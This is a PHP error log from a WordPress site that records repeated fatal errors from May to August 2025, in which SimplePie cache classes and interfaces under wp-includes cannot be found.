[14-May-2025 12:04:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-May-2025 12:04:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-May-2025 12:04:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-May-2025 12:04:14 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-May-2025 12:04:16 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-May-2025 12:04:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-May-2025 12:04:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-May-2025 12:04:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-May-2025 12:04:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-May-2025 12:04:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-May-2025 12:04:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-May-2025 12:04:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-May-2025 12:04:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-May-2025 12:04:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-May-2025 12:04:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-May-2025 12:04:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-May-2025 12:04:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-May-2025 12:04:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-May-2025 12:04:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-May-2025 12:04:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-May-2025 12:04:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-May-2025 12:04:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-May-2025 12:04:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-May-2025 12:04:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-May-2025 12:04:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-May-2025 12:04:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-May-2025 12:04:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-May-2025 12:04:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-May-2025 12:04:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-May-2025 12:04:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-May-2025 12:04:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-May-2025 12:04:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-May-2025 12:04:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-May-2025 14:24:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-May-2025 14:24:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-May-2025 14:24:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-May-2025 14:24:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-May-2025 14:24:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-May-2025 14:24:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-May-2025 14:24:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-May-2025 14:24:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-May-2025 14:24:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-May-2025 14:24:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-May-2025 14:24:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-May-2025 14:24:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-May-2025 14:24:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-May-2025 14:24:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-May-2025 14:24:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-May-2025 14:24:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-May-2025 14:24:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-May-2025 14:24:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-May-2025 14:24:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-May-2025 14:24:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-May-2025 14:24:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-May-2025 14:24:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-May-2025 14:24:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-May-2025 14:24:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-May-2025 14:24:28 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-May-2025 14:24:28 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-May-2025 14:24:29 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-May-2025 14:24:31 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-May-2025 14:24:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-May-2025 14:24:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-May-2025 14:24:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-May-2025 14:24:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-May-2025 14:24:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-May-2025 14:24:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-May-2025 14:24:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-May-2025 14:24:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[18-Jun-2025 16:53:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[18-Jun-2025 16:53:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[18-Jun-2025 16:53:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[18-Jun-2025 16:53:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[18-Jun-2025 16:53:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[18-Jun-2025 16:53:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[18-Jun-2025 16:53:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[18-Jun-2025 16:53:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[19-Jul-2025 09:06:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[19-Jul-2025 09:06:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[19-Jul-2025 09:06:35 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[19-Jul-2025 09:06:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[19-Jul-2025 09:06:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[19-Jul-2025 09:06:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[19-Jul-2025 09:06:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[19-Jul-2025 09:06:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[19-Jul-2025 09:06:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[20-Aug-2025 23:26:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[20-Aug-2025 23:26:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[20-Aug-2025 23:26:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[20-Aug-2025 23:26:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[20-Aug-2025 23:26:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[20-Aug-2025 23:26:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[20-Aug-2025 23:26:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
